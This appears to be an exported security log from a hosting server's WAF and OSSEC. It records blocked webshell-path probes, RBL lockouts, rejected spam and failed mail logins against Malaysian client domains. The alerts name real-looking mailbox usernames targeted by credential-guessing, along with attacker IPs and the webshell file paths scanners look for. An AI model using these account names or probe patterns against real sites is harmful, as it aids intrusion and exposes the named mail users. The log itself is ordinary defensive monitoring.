abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/about.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/portfolio/products.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.23.155.110
country_id: 1269750
description:
Jan 17 04:11:20 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.23.155.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-01-17 04:11:22 dovecot_login authenticator failed for H=(dsl-ncr-dynamic-110.155.23.125.airtelbroadband.in) [125.23.155.110]:33538: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.61.87.14
country_id: 3439705
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/ramsey/uuid/src/DegradedUuid.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.82.157.44
country_id: 1269750
description:
Jan 17 04:15:50 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.82.157.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.82.157.44
country_id: 1269750
description:
Jan 17 04:15:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.82.157.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.114.84.246
country_id: 1814991
description:
Jan 17 04:17:27 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.114.84.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-01-17 04:17:29 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:54078: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.240.63.112
country_id: 2464461
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=940563 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.42
country_id: 3175395
description:
Jan 17 04:23:30 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.46
country_id: 690791
description:
Jan 17 04:23:50 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.46
country_id: 690791
description:
Jan 17 04:23:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.235.124.241
country_id: 798544
description:
Jan 17 04:26:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.235.124.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.10
country_id: 241170
description:
Jan 17 04:27:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.10 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.225.234.239
country_id: 1819730
domain: krisfood.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.64||T:APACHE||RA:185.225.234.239||TA:185.225.234.239||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.237.120.42
country_id: 99237
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=1&sub=22 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 17 04:35:32 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 04:36:34 H=([45.144.212.242]) [45.144.212.242]:49517 F=<no_reply@admin.com> rejected RCPT <inquiries@ktlog.com.my>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.160.13
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-38.171.236.160.13||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.75.34.61
country_id: 2542007
domain: oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/oxbold.com/supyogamalaysia-howtogetthere.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.147.252
country_id: 690791
description:
Jan 17 04:39:55 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.147.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 17 04:40:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.178.45
country_id: 1269750
description:
Jan 17 04:40:14 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.178.45 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 121.200.4.168
country_id: 2077456
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/happy/464/491115 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.122.204.254
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=954784 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/sliders/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.172.28
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-47.171.236.172.28||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.39.12
country_id: 2395170
description:
Jan 17 04:47:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.39.12 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 04:48:43 H=([45.144.212.242]) [45.144.212.242]:54939 F=<no_reply@admin.com> rejected RCPT <julie@nobledec.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.13
country_id: 2750405
description:
Jan 17 04:48:47 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.173.54
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-48.171.236.173.54||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.39.12
country_id: 2395170
description:
Jan 17 04:47:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.39.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 116.97.59.81
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-49.116.97.59.81||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.21
country_id: 241170
description:
Jan 17 04:50:10 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 04:50:48 H=([45.144.212.242]) [45.144.212.242]:51835 F=<no_reply@admin.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.224.206.121
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-52.171.224.206.121||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.173.177.133
country_id: 6252001
description:
2026-01-17 04:52:24 dovecot_login authenticator failed for H=(bqkpi) [107.173.177.133]:55923: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/images/radiation.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.173.177.133
country_id: 6252001
description:
Jan 17 04:52:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.173.177.133 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/demos/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.89.57.52
country_id: 1269750
description:
Jan 17 05:00:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.89.57.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.56.62
country_id: 953987
description:
Jan 17 05:00:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.56.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.176
country_id: 3175395
description:
Jan 17 05:00:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.49.129
country_id: 2963597
description:
Jan 17 05:00:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.49.129 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/demos/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.49.129
country_id: 2963597
description:
Jan 17 05:00:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.49.129 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.239.246
country_id: 798544
description:
Jan 17 05:01:03 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.239.246 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/demos/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.155.12.147
country_id: 163843
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=10561515046765 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/demos/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.75.225
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-08.92.71.75.225||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/home/commercial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.80
country_id: 298795
description:
Jan 17 05:10:29 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.80 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.97.22
country_id: 3469034
description:
Jan 17 05:14:46 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.97.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.97.22
country_id: 3469034
description:
Jan 17 05:15:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.97.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.220
country_id: 1269750
description:
Jan 17 05:15:18 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.220 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 64.137.99.76
country_id: 2510769
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-16.64.137.99.76||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.237.177.239
country_id: 1562822
description:
2026-01-17 05:16:49 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [171.237.177.239]:64199: 535 Incorrect authentication data (set_id=general)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.19.161.224
country_id: 1814991
description:
Jan 17 05:16:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.19.161.224 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.19.161.224
country_id: 1814991
description:
2026-01-17 05:16:35 dovecot_login authenticator failed for H=([112.19.161.224]) [112.19.161.224]:34196: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.165.114.171
country_id: 290557
description:
2026-01-17 05:18:17 dovecot_login authenticator failed for H=bba-217-165-114-171.alshamil.net.ae [217.165.114.171]:35697: 535 Incorrect authentication data (set_id=boss)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 149.102.234.59
country_id: 3469034
domain: smartcable.com.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.64||T:APACHE||RA:149.102.234.59||TA:149.102.234.59||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.21
country_id: 241170
description:
Jan 17 05:18:27 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.58.67.248
country_id: 3175395
description:
Jan 17 05:17:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.58.67.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.58.67.248
country_id: 3175395
description:
2026-01-17 05:18:01 dovecot_login authenticator failed for H=([101.58.67.248]) [101.58.67.248]:50149: 535 Incorrect authentication data (set_id=boss@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.165.114.171
country_id: 290557
description:
Jan 17 05:18:15 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.165.114.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.95.101.182
country_id: 3469034
description:
2026-01-17 05:23:07 dovecot_login authenticator failed for H=([187.95.101.182]) [187.95.101.182]:42700: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.46
country_id: 3865483
description:
Jan 17 05:23:15 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.46 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.87.68.63
country_id: 1527747
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/HttpKernelInterface.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.95.101.182
country_id: 3469034
description:
Jan 17 05:23:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.95.101.182 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.74.6
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-25.92.71.74.6||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.113.65.237
country_id: 2328926
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=219327 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/demos/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


